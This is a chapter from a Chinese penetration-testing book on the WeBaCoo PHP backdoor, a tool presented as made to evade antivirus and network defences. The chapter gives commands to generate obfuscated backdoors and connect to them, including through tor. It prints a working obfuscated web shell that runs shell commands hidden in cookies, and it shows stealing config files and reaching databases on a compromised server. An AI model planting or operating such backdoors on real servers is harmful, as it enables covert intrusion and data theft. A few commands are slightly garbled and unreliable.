网络攻防实战研究:漏洞利用与提权
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

1.5 PHP WeBaCoo后门

WeBaCoo(Web Backdoor Cookie)是一款隐蔽的脚本类Web后门工具,它借助HTTP协议在客户端和Web服务器之间实现了执行代码的网页终端。WeBaCoo的设计理念是躲避AV、NIDS、IPS、网络防火墙和应用防火墙的查杀,提供混淆和原始两种后门代码(原始代码较难检测)。WeBaCoo使用HTTP响应头传送命令执行的结果,Shell命令经Base64编码后隐藏在Cookie头中,是目前较为难得的一款PHP后门操控程序。其后门程序可以在Windows和Linux操作系统中使用,主程序采用Python语言编写,用户可以根据自身情况对其进行定制和修改。

1.5.1 简介

WeBaCoo的最新版本为WeBaCoo 0.2.3,该程序在BT5及Kali平台中默认配置,2012年以后作者已经停止更新。在Kali Linux平台上,默认位于/usr/bin/目录下,可执行程序为“webacoo”。

WeBaCoo的官方网站为https://bechtsoudis.com/archive/webacoo/index.html,下载地址为https://github.com/anestisb/WeBaCoo/zipball/masterhttp://bechtsoudis.com/data/tools/webacoo-latest.tar.gz

Kali Linux直接获取命令如下。

        git clone git://github.com/anestisb/WeBaCoo.git

1.5.2 使用方法

1.操作模式

WeBaCoo有生成(Generation)和终端(Terminal)两种模式。使用生成模式,指定“-g”选项,可以创建一个包含PHP有效载荷的后门代码;使用远程终端模式,指定“-t”选项,可以连接受感染的服务器(其中后门PHP代码已被注入)。

2.使用生成模式

使用默认配置生成模糊后门代码my_backdoor.php,命令如下。

        webacoo.pl -g -o my_backdoor.php

使用exec有效载荷混淆后门代码生成my_backdoor2.php文件,命令如下。

        webacoo.pl -g -o my_backdoor2.php -f 3

使用popen有效载荷生成原始后门代码raw_backdoor.php文件,命令如下。

        webacoo.pl -g -o my_backdoor2.php -f 5-r

3.使用终端模式

使用默认设置“-u web_path”访问服务器,命令如下。

        webacoo.pl -t -u http://10.0.1.11/backdoor.php

将“Test-Cookie”作为Cookie名称、“TtT”作为分隔符,访问服务器,命令如下。

        webacoo.pl -t -u http://10.0.1.11/backdoor.php -c "Test-Cookie" -d "TtT"

将“Test-Cookie2”作为Cookie名称、“TtT”作为分隔符,使用代理服务器10.0.1.4:8080访问服务器,命令如下。

        webacoo.pl -t -u http://10.0.1.11/backdoor.php -c "Test-Cookie2" -d "TtTt" -p
    10.0.1.4:8080

将“My-Cookie”作为Cookie名称,使用tor代理网络访问后门,命令如下。

        webacoo.pl -t -u http://example.com/backdoor.php -c "My-Cookie" -p tor

1.5.3 参数详解

WeBaCoo的常用参数如下。

· Cm:以Base64编码的Shell指令。

· Cn:加载编码后输出内容的Cookie名称。

· Cp:封装编码后输入内容的分割符。

· -f FUNCTION:使用PHP系统函数system、shell_exec、exec、passthru、popen。

· -g:制作后门代码。

· -o:指定生成的后门程序文件名。

· -u URL:后门URL地址。

· -e CMD:单独命令执行模式,需要加“-t”和“-u”参数。

· -m METHOD:使用HTTP方式,默认为“GET”。

· -c C_NAME:Cookie名字,默认为“M-cookie”。

· -d DELIM:分隔符(默认值:每个请求随机)。

· -a AGENT HTTP:头用户代理(默认情况下存在)。

· -p PROXY:使用代理(tor, ip:port or user:pass:ip:port)。

· -v LEVEL:详细级别。LEVEL值为0表示无附加信息,默认值为0; LEVEL值为1表示打印的HTTP头;LEVEL值为2表示打印HTTP头和数据。

· -l LOG:登录活动文件。

· -h:显示帮助文件并退出。

· update:检查升级文件,如果有则升级。

使用load命令进行扩展,说明如下。

· mysql-cli:MySQL命令行模式。

· psql-cli:Postgres命令行模式。

· upload:使用HTTP的POST方法上传文件。

· download:下载文件。

· stealth:通过.htaccess处理增加的隐形模块。

1.5.4 使用实例

(1)生成后门

使用“webacoo-g-o backdoor.php”命令生成backpdoor.php后门文件,如图1-44所示。

图1-44 生成后门文件

(2)参考后门代码文件内容

使用“cat backdoor.php”命令查看其内容,具体如下。

        <? php $b=strrev("edoced_4"."6esab"); eval($b(str_replace(" ", "", "a W Y o a X N
    z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p
    O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W
    y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0
    9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y
    0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D
    T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = "))); ? >

(3)连接后门

使用“webacoo-t-u http://www.antian365.com/backdoor.php”命令连接服务器,如图1-45所示。连接成功后,可以执行Linux下的命令,例如pwd、id,如图1-46所示。

图1-45 连接后门所在服务器

图1-46 执行命令

(4)下载文件

在当前状态下执行load命令后,使用“download filename”命令下载文件,前提是服务器当前目录中存在该文件。如图1-47所示,执行“dowload config_inc.php”命令,直接将config_inc.php文件下载到本地,使用“cat config_inc.php”命令可以查看下载到本地的文件内容,如图1-48所示。

图1-47 下载文件

图1-48 读取下载的文件内容

(5)连接数据库

使用“mysql-cli localhost root password”命令连接数据库,可以对数据进行操作(在实际测试过程中未能成功)。

1.5.5 总结与思考

下面总结WeBaCoo的使用技巧。

·在Windows环境下需要对应函数的支持。WeBaCoo在Windows操作系统中需要PHP程序支持相应的函数,可以在php.ini文件中设置disable_functions,取消禁用函数exec、system、passthru、shell_exec,示例如下。

        disable_functions
    =escapeshellarg, escapeshellcmd, proc_close, proc_open, dl, popen, show_source

·提供HTTPS代理支持。使用如下命令,配合Burp Site等工具实现。

        webacoo -t -u https://example.com/https_test.php -p 127.0.0.1:8080
        webacoo -t -u http://example.com/https_test.php -p 127.0.0.1:8080

·在非Ubantu环境下,需要liburi-perl、libio-socket-socks-perl组件的支持,否则会报错,如图1-49所示。

图1-49 需要perl组件支持